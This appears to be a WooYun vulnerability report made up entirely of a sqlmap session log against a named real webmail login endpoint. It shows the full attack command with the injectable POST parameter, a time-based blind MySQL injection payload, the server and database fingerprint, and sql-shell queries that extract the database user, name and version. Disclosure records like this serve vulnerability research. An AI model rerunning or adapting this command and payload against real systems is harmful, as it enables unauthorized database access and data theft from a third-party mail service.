WooYun.org

$ python sqlmap.py -u "http://mail.west263.com/login.php?Cmd=login" --data "name=Caster11*&domain=CaterNoMatch&passwd=IamStrong&Lang=zh_TW&language=zh_TW" --sql-sql
Usage: python sqlmap.py [options]
sqlmap.py: error: no such option: --sql-sql
localhost:sqlmap Mosuan$ python sqlmap.py -u "http://mail.west263.com/login.php?Cmd=login" --data "name=Caster11*&domain=CaterNoMatch&passwd=IamStrong&Lang=zh_TW&language=zh_TW" --sql-shell
         _
 ___ ___| |_____ ___ ___  {1.0.3.9#dev}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 11:30:52
custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q] y
[11:30:54] [INFO] resuming back-end DBMS 'mysql' 
[11:30:54] [INFO] testing connection to the target URL
[11:30:56] [INFO] heuristics detected web page charset 'ascii'
sqlmap got a 302 redirect to 'http://mail.west263.com:80/login.php?Cmd=error&Code=-1&Lang=zh_TW'. Do you want to follow? [Y/n] y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: name=Caster11' AND (SELECT * FROM (SELECT(SLEEP(5)))zTrO) AND 'hijS'='hijS&domain=CaterNoMatch&passwd=IamStrong&Lang=zh_TW&language=zh_TW
---
[11:30:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5.0.12
[11:30:59] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select user()
[11:31:05] [INFO] fetching SQL SELECT statement query output: 'select user()'
[11:31:05] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)                                                                           
[11:31:39] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[11:31:51] [WARNING] it is very important to not stress the network adapter during usage of time-based payloads to prevent potential disruptions 
vpopmail@l
[11:42:21] [WARNING] turning off pre-connect mechanism because of connection time out(s)
ocalhost
select user():    'vpopmail@localhost'
sql-shell> select database()
[11:49:58] [INFO] fetching SQL SELECT statement query output: 'select database()'
[11:49:58] [INFO] retrieved: vpopmail
select database():    'vpopmail'
sql-shell> select version()
[12:12:33] [INFO] fetching SQL SELECT statement query output: 'select version()'
[12:12:34] [INFO] retrieved: 5.0.95-log
select version():    '5.0.95-log'